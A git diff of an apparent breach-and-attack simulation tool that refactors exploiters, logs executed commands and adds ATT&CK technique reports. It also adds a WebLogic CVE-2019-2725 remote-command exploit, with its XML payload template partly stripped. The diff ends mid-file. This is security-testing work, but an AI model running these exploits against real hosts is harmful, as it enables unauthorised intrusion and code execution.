diff --git a/monkey/infection_monkey/control.py b/monkey/infection_monkey/control.py index 6ce94451d..f34784041 100644 --- a/monkey/infection_monkey/control.py +++ b/monkey/infection_monkey/control.py @@ -123,11 +123,11 @@ class ControlClient(object): return {} @staticmethod - def send_telemetry(telem_catagory, data): + def send_telemetry(telem_category, data): if not WormConfiguration.current_server: return try: - telemetry = {'monkey_guid': GUID, 'telem_catagory': telem_catagory, 'data': data} + telemetry = {'monkey_guid': GUID, 'telem_category': telem_category, 'data': data} reply = requests.post("https://%s/api/telemetry" % (WormConfiguration.current_server,), data=json.dumps(telemetry), headers={'content-type': 'application/json'}, diff --git a/monkey/infection_monkey/exploit/__init__.py b/monkey/infection_monkey/exploit/__init__.py index 7353d77bc..f4cc4b290 100644 --- a/monkey/infection_monkey/exploit/__init__.py +++ b/monkey/infection_monkey/exploit/__init__.py @@ -24,7 +24,8 @@ class HostExploiter(object): 'started': '', 'finished': '', 'vulnerable_urls': [], - 'vulnerable_ports': []} + 'vulnerable_ports': [], + 'executed_cmds': []} self._exploit_attempts = [] self.host = host @@ -48,8 +49,20 @@ class HostExploiter(object): self._exploit_attempts.append({'result': result, 'user': user, 'password': password, 'lm_hash': lm_hash, 'ntlm_hash': ntlm_hash, 'ssh_key': ssh_key}) - @abstractmethod def exploit_host(self): + self.pre_exploit() + result = self._exploit_host() + self.post_exploit() + return result + + def pre_exploit(self): + self.set_start_time() + + def post_exploit(self): + self.set_finish_time() + + @abstractmethod + def _exploit_host(self): raise NotImplementedError() def add_vuln_url(self, url): @@ -58,6 +71,14 @@ class HostExploiter(object): def add_vuln_port(self, port): self._exploit_info['vulnerable_ports'].append(port) + def add_executed_cmd(self, cmd): + """ + Appends command to exploiter's info. + :param cmd: String of executed command. e.g. 'echo Example' + """ + powershell = True if "powershell" in cmd.lower() else False + self._exploit_info['executed_cmds'].append({'cmd': cmd, 'powershell': powershell}) + from infection_monkey.exploit.win_ms08_067 import Ms08_067_Exploiter from infection_monkey.exploit.wmiexec import WmiExploiter diff --git a/monkey/infection_monkey/exploit/hadoop.py b/monkey/infection_monkey/exploit/hadoop.py index f02c4f3d3..958bab7eb 100644 --- a/monkey/infection_monkey/exploit/hadoop.py +++ b/monkey/infection_monkey/exploit/hadoop.py @@ -31,7 +31,7 @@ class HadoopExploiter(WebRCE): def __init__(self, host): super(HadoopExploiter, self).__init__(host) - def exploit_host(self): + def _exploit_host(self): # Try to get exploitable url urls = self.build_potential_urls(self.HADOOP_PORTS) self.add_vulnerable_urls(urls, True) @@ -49,6 +49,7 @@ class HadoopExploiter(WebRCE): return False http_thread.join(self.DOWNLOAD_TIMEOUT) http_thread.stop() + self.add_executed_cmd(command) return True def exploit(self, url, command): diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index ff9cefa60..9d1dcb2d6 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -30,7 +30,7 @@ class MSSQLExploiter(HostExploiter): def __init__(self, host): super(MSSQLExploiter, self).__init__(host) - def exploit_host(self): + def _exploit_host(self): # Brute force to get connection username_passwords_pairs_list = self._config.get_exploit_user_password_pairs() cursor = self.brute_force(self.host.ip_addr, self.SQL_DEFAULT_TCP_PORT, username_passwords_pairs_list) @@ -66,7 +66,7 @@ class MSSQLExploiter(HostExploiter): "xp_cmdshell \">%s\"" % (dst_path, tmp_file_path)] MSSQLExploiter.execute_command(cursor, commands) MSSQLExploiter.run_file(cursor, tmp_file_path) - + self.add_executed_cmd(' '.join(commands)) # Form monkey's command in a file monkey_args = tools.build_monkey_commandline(self.host, tools.get_monkey_depth() - 1, @@ -77,7 +77,7 @@ class MSSQLExploiter(HostExploiter): commands.extend(monkey_args) MSSQLExploiter.execute_command(cursor, commands) MSSQLExploiter.run_file(cursor, tmp_file_path) - + self.add_executed_cmd(commands[-1]) return True @staticmethod diff --git a/monkey/infection_monkey/exploit/rdpgrinder.py b/monkey/infection_monkey/exploit/rdpgrinder.py index bb8db1d46..0db63e86d 100644 --- a/monkey/infection_monkey/exploit/rdpgrinder.py +++ b/monkey/infection_monkey/exploit/rdpgrinder.py @@ -255,7 +255,7 @@ class RdpExploiter(HostExploiter): return True return False - def exploit_host(self): + def _exploit_host(self): global g_reactor is_open, _ = check_tcp_port(self.host.ip_addr, RDP_PORT) @@ -343,5 +343,5 @@ class RdpExploiter(HostExploiter): LOG.info("Executed monkey '%s' on remote victim %r", os.path.basename(src_path), self.host) - + self.add_executed_cmd(command) return True diff --git a/monkey/infection_monkey/exploit/sambacry.py b/monkey/infection_monkey/exploit/sambacry.py index 7c49f51ae..7d9ed1010 100644 --- a/monkey/infection_monkey/exploit/sambacry.py +++ b/monkey/infection_monkey/exploit/sambacry.py @@ -57,7 +57,7 @@ class SambaCryExploiter(HostExploiter): def __init__(self, host): super(SambaCryExploiter, self).__init__(host) - def exploit_host(self): + def _exploit_host(self): if not self.is_vulnerable(): return False diff --git a/monkey/infection_monkey/exploit/shellshock.py b/monkey/infection_monkey/exploit/shellshock.py index 2f6e3516f..d65733d03 100644 --- a/monkey/infection_monkey/exploit/shellshock.py +++ b/monkey/infection_monkey/exploit/shellshock.py @@ -36,7 +36,7 @@ class ShellShockExploiter(HostExploiter): ) for _ in range(20)) self.skip_exist = self._config.skip_exploit_if_file_exist - def exploit_host(self): + def _exploit_host(self): # start by picking ports candidate_services = { service: self.host.services[service] for service in self.host.services if @@ -144,6 +144,7 @@ class ShellShockExploiter(HostExploiter): if not (self.check_remote_file_exists(url, header, exploit, self._config.monkey_log_path_linux)): LOG.info("Log file does not exist, monkey might not have run") continue + self.add_executed_cmd(cmdline) return True return False diff --git a/monkey/infection_monkey/exploit/smbexec.py b/monkey/infection_monkey/exploit/smbexec.py index 1b4071312..d49e66ae8 100644 --- a/monkey/infection_monkey/exploit/smbexec.py +++ b/monkey/infection_monkey/exploit/smbexec.py @@ -43,7 +43,7 @@ class SmbExploiter(HostExploiter): return self.host.os.get('type') in self._TARGET_OS_TYPE return False - def exploit_host(self): + def _exploit_host(self): src_path = get_target_monkey(self.host) if not src_path: diff --git a/monkey/infection_monkey/exploit/sshexec.py b/monkey/infection_monkey/exploit/sshexec.py index 09982876d..c7cf030c1 100644 --- a/monkey/infection_monkey/exploit/sshexec.py +++ b/monkey/infection_monkey/exploit/sshexec.py @@ -94,7 +94,7 @@ class SSHExploiter(HostExploiter): continue return exploited - def exploit_host(self): + def _exploit_host(self): ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.WarningPolicy()) @@ -178,6 +178,7 @@ class SSHExploiter(HostExploiter): self._config.dropper_target_path_linux, self.host, cmdline) ssh.close() + self.add_executed_cmd(cmdline) return True except Exception as exc: diff --git a/monkey/infection_monkey/exploit/vsftpd.py b/monkey/infection_monkey/exploit/vsftpd.py index 3f6a7c304..498c09eea 100644 --- a/monkey/infection_monkey/exploit/vsftpd.py +++ b/monkey/infection_monkey/exploit/vsftpd.py @@ -60,7 +60,7 @@ class VSFTPDExploiter(HostExploiter): LOG.error('Failed to send payload to %s', self.host.ip_addr) return False - def exploit_host(self): + def _exploit_host(self): LOG.info("Attempting to trigger the Backdoor..") ftp_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) @@ -138,6 +138,7 @@ class VSFTPDExploiter(HostExploiter): if backdoor_socket.send(run_monkey): LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)", self._config.dropper_target_path_linux, self.host, run_monkey) + self.add_executed_cmd(run_monkey) return True else: return False diff --git a/monkey/infection_monkey/exploit/web_rce.py b/monkey/infection_monkey/exploit/web_rce.py index ed4d595b7..fe45c65ce 100644 --- a/monkey/infection_monkey/exploit/web_rce.py +++ b/monkey/infection_monkey/exploit/web_rce.py @@ -66,7 +66,7 @@ class WebRCE(HostExploiter): return exploit_config - def exploit_host(self): + def _exploit_host(self): """ Method that contains default exploitation workflow :return: True if exploited, False otherwise @@ -338,7 +338,7 @@ class WebRCE(HostExploiter): command = self.get_command(paths['dest_path'], http_path, commands) resp = self.exploit(url, command) - + self.add_executed_cmd(command) resp = self.run_backup_commands(resp, url, paths['dest_path'], http_path) http_thread.join(DOWNLOAD_TIMEOUT) @@ -408,6 +408,7 @@ class WebRCE(HostExploiter): # If exploiter returns True / False if type(resp) is bool: LOG.info("Execution attempt successfully finished") + self.add_executed_cmd(command) return resp # If exploiter returns command output, we can check for execution errors if 'is not recognized' in resp or 'command not found' in resp: @@ -420,6 +421,8 @@ class WebRCE(HostExploiter): LOG.error("Something went wrong when trying to execute remote monkey: %s" % e) return False LOG.info("Execution attempt finished") + + self.add_executed_cmd(command) return resp def get_monkey_upload_path(self, url_to_monkey): diff --git a/monkey/infection_monkey/exploit/weblogic.py b/monkey/infection_monkey/exploit/weblogic.py index 4c99f82b9..300f52f0e 100644 --- a/monkey/infection_monkey/exploit/weblogic.py +++ b/monkey/infection_monkey/exploit/weblogic.py @@ -1,3 +1,48 @@ +from __future__ import print_function +import threading +import logging +import time +import copy + +from requests import post, exceptions +from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer + +from infection_monkey.exploit.web_rce import WebRCE +from infection_monkey.exploit import HostExploiter +from infection_monkey.exploit.tools import get_free_tcp_port, get_interface_to_target + + +__author__ = "VakarisZ" + +LOG = logging.getLogger(__name__) +# How long server waits for get request in seconds +SERVER_TIMEOUT = 4 +# How long should we wait after each request in seconds +REQUEST_DELAY = 0.1 +# How long to wait for a sign(request from host) that server is vulnerable. In seconds +REQUEST_TIMEOUT = 5 +# How long to wait for response in exploitation. In seconds +EXECUTION_TIMEOUT = 15 +# Malicious requests' headers: +HEADERS = { + "Content-Type": "text/xml;charset=UTF-8", + "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) " + "AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36" +} + + +class WebLogicExploiter(HostExploiter): + + _TARGET_OS_TYPE = ['linux', 'windows'] + _EXPLOITED_SERVICE = 'Weblogic' + + def exploit_host(self): + exploiters = [WebLogic20192725, WebLogic201710271] + for exploiter in exploiters: + if exploiter(self.host).exploit_host(): + return True + + # Exploit based of: # Kevin Kirsche (d3c3pt10n) # https://github.com/kkirsche/CVE-2017-10271 @@ -5,57 +50,29 @@ # Luffin from Github # https://github.com/Luffin/CVE-2017-10271 # CVE: CVE-2017-10271 -from __future__ import print_function -from requests import post, exceptions -from infection_monkey.exploit.web_rce import WebRCE -from infection_monkey.exploit.tools import get_free_tcp_port, get_interface_to_target -from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer +class WebLogic201710271(WebRCE): + URLS = ["/wls-wsat/CoordinatorPortType", + "/wls-wsat/CoordinatorPortType11", + "/wls-wsat/ParticipantPortType", + "/wls-wsat/ParticipantPortType11", + "/wls-wsat/RegistrationPortTypeRPC", + "/wls-wsat/RegistrationPortTypeRPC11", + "/wls-wsat/RegistrationRequesterPortType", + "/wls-wsat/RegistrationRequesterPortType11"] -import threading -import logging -import time - -__author__ = "VakarisZ" - -LOG = logging.getLogger(__name__) -# How long server waits for get request in seconds -SERVER_TIMEOUT = 4 -# How long should be wait after each request in seconds -REQUEST_DELAY = 0.0001 -# How long to wait for a sign(request from host) that server is vulnerable. In seconds -REQUEST_TIMEOUT = 5 -# How long to wait for response in exploitation. In seconds -EXECUTION_TIMEOUT = 15 -URLS = ["/wls-wsat/CoordinatorPortType", - "/wls-wsat/CoordinatorPortType11", - "/wls-wsat/ParticipantPortType", - "/wls-wsat/ParticipantPortType11", - "/wls-wsat/RegistrationPortTypeRPC", - "/wls-wsat/RegistrationPortTypeRPC11", - "/wls-wsat/RegistrationRequesterPortType", - "/wls-wsat/RegistrationRequesterPortType11"] -# Malicious request's headers: -HEADERS = { - "Content-Type": "text/xml;charset=UTF-8", - "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) " - "AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36" - } - - -class WebLogicExploiter(WebRCE): - _TARGET_OS_TYPE = ['linux', 'windows'] - _EXPLOITED_SERVICE = 'Weblogic' + _TARGET_OS_TYPE = WebLogicExploiter._TARGET_OS_TYPE + _EXPLOITED_SERVICE = WebLogicExploiter._EXPLOITED_SERVICE def __init__(self, host): - super(WebLogicExploiter, self).__init__(host, {'linux': '/tmp/monkey.sh', + super(WebLogic201710271, self).__init__(host, {'linux': '/tmp/monkey.sh', 'win32': 'monkey32.exe', 'win64': 'monkey64.exe'}) def get_exploit_config(self): - exploit_config = super(WebLogicExploiter, self).get_exploit_config() + exploit_config = super(WebLogic201710271, self).get_exploit_config() exploit_config['blind_exploit'] = True exploit_config['stop_checking_urls'] = True - exploit_config['url_extensions'] = URLS + exploit_config['url_extensions'] = WebLogic201710271.URLS return exploit_config def exploit(self, url, command): @@ -66,8 +83,8 @@ class WebLogicExploiter(WebRCE): try: post(url, data=payload, headers=HEADERS, timeout=EXECUTION_TIMEOUT, verify=False) except Exception as e: - print('[!] Connection Error') - print(e) + LOG.error("Connection error: %s" % e) + return False return True @@ -196,6 +213,7 @@ class WebLogicExploiter(WebRCE): Http server built to wait for GET requests. Because oracle web logic vuln is blind, we determine if we can exploit by either getting a GET request from host or not. """ + def __init__(self, local_ip, local_port, lock, max_requests=1): self.local_ip = local_ip self.local_port = local_port @@ -212,6 +230,7 @@ class WebLogicExploiter(WebRCE): def do_GET(): LOG.info('Server received a request from vulnerable machine') self.get_requests += 1 + LOG.info('Server waiting for exploited machine request...') httpd = HTTPServer((self.local_ip, self.local_port), S) httpd.daemon = True @@ -224,3 +243,82 @@ class WebLogicExploiter(WebRCE): def stop(self): self._stopped = True + + +# Exploit based of: +# Andres Rodriguez (acamro) +# https://github.com/rapid7/metasploit-framework/pull/11780 +class WebLogic20192725(WebRCE): + URLS = ["_async/AsyncResponseServiceHttps"] + + _TARGET_OS_TYPE = WebLogicExploiter._TARGET_OS_TYPE + _EXPLOITED_SERVICE = WebLogicExploiter._EXPLOITED_SERVICE + + def __init__(self, host): + super(WebLogic20192725, self).__init__(host) + + def get_exploit_config(self): + exploit_config = super(WebLogic20192725, self).get_exploit_config() + exploit_config['url_extensions'] = WebLogic20192725.URLS + exploit_config['blind_exploit'] = True + exploit_config['dropper'] = True + return exploit_config + + def exploit(self, url, command): + if 'linux' in self.host.os['type']: + payload = self.get_exploit_payload('/bin/sh', '-c', command) + else: + payload = self.get_exploit_payload('cmd', '/c', command) + try: + resp = post(url, data=payload, headers=HEADERS, timeout=EXECUTION_TIMEOUT) + return resp + except Exception as e: + LOG.error("Connection error: %s" % e) + return False + + def check_if_exploitable(self, url): + headers = copy.deepcopy(HEADERS).update({'SOAPAction': ''}) + res = post(url, headers=headers, timeout=EXECUTION_TIMEOUT) + if res.status_code == 500 and "env:Client" in res.text: + return True + else: + return False + + @staticmethod + def get_exploit_payload(cmd_base, cmd_opt, command): + """ + Formats the payload used to exploit weblogic servers + :param cmd_base: What command prompt to use eg. cmd + :param cmd_opt: cmd_base commands parameters. eg. /c (to run command) + :param command: command itself + :return: Formatted payload + """ + empty_payload = ''' + + + xx + xx + + + + + {cmd_base} + + + {cmd_opt} + + + {cmd_payload} + + + + + + + + + + ''' + payload = empty_payload.format(cmd_base=cmd_base, cmd_opt=cmd_opt, cmd_payload=command) + return payload diff --git a/monkey/infection_monkey/exploit/win_ms08_067.py b/monkey/infection_monkey/exploit/win_ms08_067.py index d576af3cd..e1d2e5b85 100644 --- a/monkey/infection_monkey/exploit/win_ms08_067.py +++ b/monkey/infection_monkey/exploit/win_ms08_067.py @@ -92,7 +92,7 @@ class SRVSVC_Exploit(object): def get_telnet_port(self): """get_telnet_port() - + The port on which the Telnet service will listen. """ @@ -100,7 +100,7 @@ class SRVSVC_Exploit(object): def start(self): """start() -> socket - + Exploit the target machine and return a socket connected to it's listening Telnet service. """ @@ -175,7 +175,7 @@ class Ms08_067_Exploiter(HostExploiter): self.host.os.get('version') in self._windows_versions.keys() return False - def exploit_host(self): + def _exploit_host(self): src_path = get_target_monkey(self.host) if not src_path: diff --git a/monkey/infection_monkey/exploit/wmiexec.py b/monkey/infection_monkey/exploit/wmiexec.py index 29bc08981..9439d7414 100644 --- a/monkey/infection_monkey/exploit/wmiexec.py +++ b/monkey/infection_monkey/exploit/wmiexec.py @@ -23,7 +23,7 @@ class WmiExploiter(HostExploiter): super(WmiExploiter, self).__init__(host) @WmiTools.dcom_wrap - def exploit_host(self): + def _exploit_host(self): src_path = get_target_monkey(self.host) if not src_path: @@ -114,7 +114,7 @@ class WmiExploiter(HostExploiter): result.RemRelease() wmi_connection.close() - + self.add_executed_cmd(cmdline) return success return False diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 92714c7d6..06e0f267b 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -285,9 +285,7 @@ class InfectionMonkey(object): result = False try: - exploiter.set_start_time() result = exploiter.exploit_host() - exploiter.set_finish_time() if result: self.successfully_exploited(machine, exploiter) return True diff --git a/monkey/infection_monkey/post_breach/pba.py b/monkey/infection_monkey/post_breach/pba.py index 7df3693fa..28e489e8d 100644 --- a/monkey/infection_monkey/post_breach/pba.py +++ b/monkey/infection_monkey/post_breach/pba.py @@ -45,12 +45,17 @@ class PBA(object): """ exec_funct = self._execute_default result = exec_funct() - hostname = socket.gethostname() + try: + hostname = socket.gethostname() + ip = socket.gethostbyname(hostname) + except socket.error: + hostname = "Unknown" + ip = "Unknown" ControlClient.send_telemetry('post_breach', {'command': self.command, 'result': result, 'name': self.name, 'hostname': hostname, - 'ip': socket.gethostbyname(hostname)}) + 'ip': ip}) def _execute_default(self): """ diff --git a/monkey/infection_monkey/telemetry/attack/attack_telem.py b/monkey/infection_monkey/telemetry/attack/attack_telem.py index efbedcaff..893f4492a 100644 --- a/monkey/infection_monkey/telemetry/attack/attack_telem.py +++ b/monkey/infection_monkey/telemetry/attack/attack_telem.py @@ -15,7 +15,7 @@ class AttackTelem(BaseTelem): self.technique = technique self.status = status - telem_catagory = 'attack' + telem_category = 'attack' def get_data(self): return { diff --git a/monkey/infection_monkey/telemetry/attack/test_victim_host_telem.py b/monkey/infection_monkey/telemetry/attack/test_victim_host_telem.py index 6b5bbcb73..2ccab7483 100644 --- a/monkey/infection_monkey/telemetry/attack/test_victim_host_telem.py +++ b/monkey/infection_monkey/telemetry/attack/test_victim_host_telem.py @@ -13,7 +13,7 @@ class TestVictimHostTelem(TestCase): telem = VictimHostTelem(technique, status, machine) - self.assertEqual(telem.telem_catagory, 'attack') + self.assertEqual(telem.telem_category, 'attack') expected_data = { 'machine': { diff --git a/monkey/infection_monkey/telemetry/base_telem.py b/monkey/infection_monkey/telemetry/base_telem.py index eaafc6aa8..c232ab975 100644 --- a/monkey/infection_monkey/telemetry/base_telem.py +++ b/monkey/infection_monkey/telemetry/base_telem.py @@ -19,10 +19,10 @@ class BaseTelem(object): """ Sends telemetry to island """ - ControlClient.send_telemetry(self.telem_catagory, self.get_data()) + ControlClient.send_telemetry(self.telem_category, self.get_data()) @abc.abstractproperty - def telem_catagory(self): + def telem_category(self): """ :return: Telemetry type """ diff --git a/monkey/infection_monkey/transport/http.py b/monkey/infection_monkey/transport/http.py index e54445d52..0f01cf64a 100644 --- a/monkey/infection_monkey/transport/http.py +++ b/monkey/infection_monkey/transport/http.py @@ -49,7 +49,8 @@ class FileServHTTPRequestHandler(BaseHTTPServer.BaseHTTPRequestHandler): start_range += chunk if f.tell() == monkeyfs.getsize(self.filename): - self.report_download(self.client_address) + if self.report_download(self.client_address): + self.close_connection = 1 f.close() @@ -171,7 +172,8 @@ class HTTPServer(threading.Thread): LOG.info('File downloaded from (%s,%s)' % (dest[0], dest[1])) self.downloads += 1 if not self.downloads < self.max_downloads: - self.close_connection = 1 + return True + return False httpd = BaseHTTPServer.HTTPServer((self._local_ip, self._local_port), TempHandler) httpd.timeout = 0.5 # this is irrelevant? @@ -217,7 +219,8 @@ class LockedHTTPServer(threading.Thread): LOG.info('File downloaded from (%s,%s)' % (dest[0], dest[1])) self.downloads += 1 if not self.downloads < self.max_downloads: - self.close_connection = 1 + return True + return False httpd = BaseHTTPServer.HTTPServer((self._local_ip, self._local_port), TempHandler) self.lock.release() diff --git a/monkey/monkey_island/cc/resources/monkey.py b/monkey/monkey_island/cc/resources/monkey.py index 9a96abe3b..36720e465 100644 --- a/monkey/monkey_island/cc/resources/monkey.py +++ b/monkey/monkey_island/cc/resources/monkey.py @@ -95,7 +95,7 @@ class Monkey(flask_restful.Resource): parent_to_add = (monkey_json.get('guid'), None) # default values in case of manual run if parent and parent != monkey_json.get('guid'): # current parent is known exploit_telem = [x for x in - mongo.db.telemetry.find({'telem_catagory': {'$eq': 'exploit'}, 'data.result': {'$eq': True}, + mongo.db.telemetry.find({'telem_category': {'$eq': 'exploit'}, 'data.result': {'$eq': True}, 'data.machine.ip_addr': {'$in': monkey_json['ip_addresses']}, 'monkey_guid': {'$eq': parent}})] if 1 == len(exploit_telem): @@ -104,7 +104,7 @@ class Monkey(flask_restful.Resource): parent_to_add = (parent, None) elif (not parent or parent == monkey_json.get('guid')) and 'ip_addresses' in monkey_json: exploit_telem = [x for x in - mongo.db.telemetry.find({'telem_catagory': {'$eq': 'exploit'}, 'data.result': {'$eq': True}, + mongo.db.telemetry.find({'telem_category': {'$eq': 'exploit'}, 'data.result': {'$eq': True}, 'data.machine.ip_addr': {'$in': monkey_json['ip_addresses']}})] if 1 == len(exploit_telem): diff --git a/monkey/monkey_island/cc/resources/telemetry.py b/monkey/monkey_island/cc/resources/telemetry.py index 69b6bcdd4..e69c5d6b0 100644 --- a/monkey/monkey_island/cc/resources/telemetry.py +++ b/monkey/monkey_island/cc/resources/telemetry.py @@ -26,7 +26,7 @@ class Telemetry(flask_restful.Resource): @jwt_required() def get(self, **kw): monkey_guid = request.args.get('monkey_guid') - telem_catagory = request.args.get('telem_catagory') + telem_category = request.args.get('telem_category') timestamp = request.args.get('timestamp') if "null" == timestamp: # special case to avoid ugly JS code... timestamp = None @@ -36,8 +36,8 @@ class Telemetry(flask_restful.Resource): if monkey_guid: find_filter["monkey_guid"] = {'$eq': monkey_guid} - if telem_catagory: - find_filter["telem_catagory"] = {'$eq': telem_catagory} + if telem_category: + find_filter["telem_category"] = {'$eq': telem_category} if timestamp: find_filter['timestamp'] = {'$gt': dateutil.parser.parse(timestamp)} @@ -53,11 +53,11 @@ class Telemetry(flask_restful.Resource): try: NodeService.update_monkey_modify_time(monkey["_id"]) - telem_catagory = telemetry_json.get('telem_catagory') - if telem_catagory in TELEM_PROCESS_DICT: - TELEM_PROCESS_DICT[telem_catagory](telemetry_json) + telem_category = telemetry_json.get('telem_category') + if telem_category in TELEM_PROCESS_DICT: + TELEM_PROCESS_DICT[telem_category](telemetry_json) else: - logger.info('Got unknown type of telemetry: %s' % telem_catagory) + logger.info('Got unknown type of telemetry: %s' % telem_category) except Exception as ex: logger.error("Exception caught while processing telemetry", exc_info=True) @@ -79,7 +79,7 @@ class Telemetry(flask_restful.Resource): monkey_label = telem_monkey_guid x["monkey"] = monkey_label objects.append(x) - if x['telem_catagory'] == 'system_info_collection' and 'credentials' in x['data']: + if x['telem_category'] == 'system_info_collection' and 'credentials' in x['data']: for user in x['data']['credentials']: if -1 != user.find(','): new_user = user.replace(',', '.') diff --git a/monkey/monkey_island/cc/resources/telemetry_feed.py b/monkey/monkey_island/cc/resources/telemetry_feed.py index 57a655297..89e96229d 100644 --- a/monkey/monkey_island/cc/resources/telemetry_feed.py +++ b/monkey/monkey_island/cc/resources/telemetry_feed.py @@ -38,7 +38,7 @@ class TelemetryFeed(flask_restful.Resource): 'id': telem['_id'], 'timestamp': telem['timestamp'].strftime('%d/%m/%Y %H:%M:%S'), 'hostname': monkey.get('hostname', default_hostname) if monkey else default_hostname, - 'brief': TELEM_PROCESS_DICT[telem['telem_catagory']](telem) + 'brief': TELEM_PROCESS_DICT[telem['telem_category']](telem) } @staticmethod @@ -82,9 +82,9 @@ class TelemetryFeed(flask_restful.Resource): @staticmethod def get_post_breach_telem_brief(telem): - return '%s post breach action executed on %s (%s) machine' % (telem['data']['name'], - telem['data']['hostname'], - telem['data']['ip']) + return '%s post breach action executed on %s (%s) machine.' % (telem['data']['name'], + telem['data']['hostname'], + telem['data']['ip']) @staticmethod def get_attack_telem_brief(telem): diff --git a/monkey/monkey_island/cc/services/attack/attack_report.py b/monkey/monkey_island/cc/services/attack/attack_report.py index d320c97da..b174fc560 100644 --- a/monkey/monkey_island/cc/services/attack/attack_report.py +++ b/monkey/monkey_island/cc/services/attack/attack_report.py @@ -1,7 +1,6 @@ import logging - from monkey_island.cc.models import Monkey -from monkey_island.cc.services.attack.technique_reports import T1210, T1197, T1110 +from monkey_island.cc.services.attack.technique_reports import T1210, T1197, T1110, T1075, T1003, T1059, T1086 from monkey_island.cc.services.attack.attack_config import AttackConfig from monkey_island.cc.database import mongo @@ -12,7 +11,11 @@ LOG = logging.getLogger(__name__) TECHNIQUES = {'T1210': T1210.T1210, 'T1197': T1197.T1197, - 'T1110': T1110.T1110} + 'T1110': T1110.T1110, + 'T1075': T1075.T1075, + 'T1003': T1003.T1003, + 'T1059': T1059.T1059, + 'T1086': T1086.T1086} REPORT_NAME = 'new_report' @@ -44,6 +47,14 @@ class AttackReportService: mongo.db.attack_report.replace_one({'name': REPORT_NAME}, report, upsert=True) return report + @staticmethod + def get_latest_attack_telem_time(): + """ + Gets timestamp of latest attack telem + :return: timestamp of latest attack telem + """ + return [x['timestamp'] for x in mongo.db.telemetry.find({'telem_category': 'attack'}).sort('timestamp', -1).limit(1)][0] + @staticmethod def get_latest_report(): """ diff --git a/monkey/monkey_island/cc/services/attack/attack_schema.py b/monkey/monkey_island/cc/services/attack/attack_schema.py index 2a59103ad..24c8cf1c6 100644 --- a/monkey/monkey_island/cc/services/attack/attack_schema.py +++ b/monkey/monkey_island/cc/services/attack/attack_schema.py @@ -84,5 +84,27 @@ SCHEMA = { } } }, + "execution": { + "title": "Execution", + "type": "object", + "properties": { + "T1059": { + "title": "T1059 Command line interface", + "type": "bool", + "value": True, + "necessary": True, + "description": "Adversaries may use command-line interfaces to interact with systems " + "and execute other software during the course of an operation.", + }, + "T1086": { + "title": "T1086 Powershell", + "type": "bool", + "value": True, + "necessary": True, + "description": "Adversaries can use PowerShell to perform a number of actions," + " including discovery of information and execution of code.", + } + } + }, } } diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1003.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1003.py new file mode 100644 index 000000000..a92758cbc --- /dev/null +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1003.py @@ -0,0 +1,27 @@ +from monkey_island.cc.services.attack.technique_reports import AttackTechnique +from common.utils.attack_utils import ScanStatus +from monkey_island.cc.database import mongo + +__author__ = "VakarisZ" + + +class T1003(AttackTechnique): + + tech_id = "T1003" + unscanned_msg = "Monkey tried to obtain credentials from systems in the network but didn't find any or failed." + scanned_msg = "" + used_msg = "Monkey successfully obtained some credentials from systems on the network." + + query = {'telem_category': 'system_info_collection', '$and': [{'data.credentials': {'$exists': True}}, + # $gt: {} checks if field is not an empty object + {'data.credentials': {'$gt': {}}}]} + + @staticmethod + def get_report_data(): + data = {'title': T1003.technique_title()} + if mongo.db.telemetry.count_documents(T1003.query): + status = ScanStatus.USED + else: + status = ScanStatus.UNSCANNED + data.update(T1003.get_message_and_status(status)) + return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1059.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1059.py new file mode 100644 index 000000000..328c11112 --- /dev/null +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1059.py @@ -0,0 +1,34 @@ +from monkey_island.cc.services.attack.technique_reports import AttackTechnique +from common.utils.attack_utils import ScanStatus +from monkey_island.cc.database import mongo + +__author__ = "VakarisZ" + + +class T1059(AttackTechnique): + + tech_id = "T1059" + unscanned_msg = "Monkey didn't exploit any machines to run commands at." + scanned_msg = "" + used_msg = "Monkey successfully ran commands on exploited machines in the network." + + query = [{'$match': {'telem_category': 'exploit', + 'data.info.executed_cmds': {'$exists': True, '$ne': []}}}, + {'$unwind': '$data.info.executed_cmds'}, + {'$sort': {'data.info.executed_cmds.powershell': 1}}, + {'$project': {'_id': 0, + 'machine': '$data.machine', + 'info': '$data.info'}}, + {'$group': {'_id': '$machine', 'data': {'$push': '$$ROOT'}}}, + {'$project': {'_id': 0, 'data': {'$arrayElemAt': ['$data', 0]}}}] + + @staticmethod + def get_report_data(): + cmd_data = list(mongo.db.telemetry.aggregate(T1059.query)) + data = {'title': T1059.technique_title(), 'cmds': cmd_data} + if cmd_data: + status = ScanStatus.USED + else: + status = ScanStatus.UNSCANNED + data.update(T1059.get_message_and_status(status)) + return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1075.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1075.py new file mode 100644 index 000000000..fa65a66c2 --- /dev/null +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1075.py @@ -0,0 +1,44 @@ +from monkey_island.cc.services.attack.technique_reports import AttackTechnique +from common.utils.attack_utils import ScanStatus +from monkey_island.cc.database import mongo + +__author__ = "VakarisZ" + + +class T1075(AttackTechnique): + + tech_id = "T1075" + unscanned_msg = "Monkey didn't try to use pass the hash attack." + scanned_msg = "Monkey tried to use hashes while logging in but didn't succeed." + used_msg = "Monkey successfully used hashed credentials." + + login_attempt_query = {'data.attempts': {'$elemMatch': {'$or': [{'ntlm_hash': {'$ne': ''}}, + {'lm_hash': 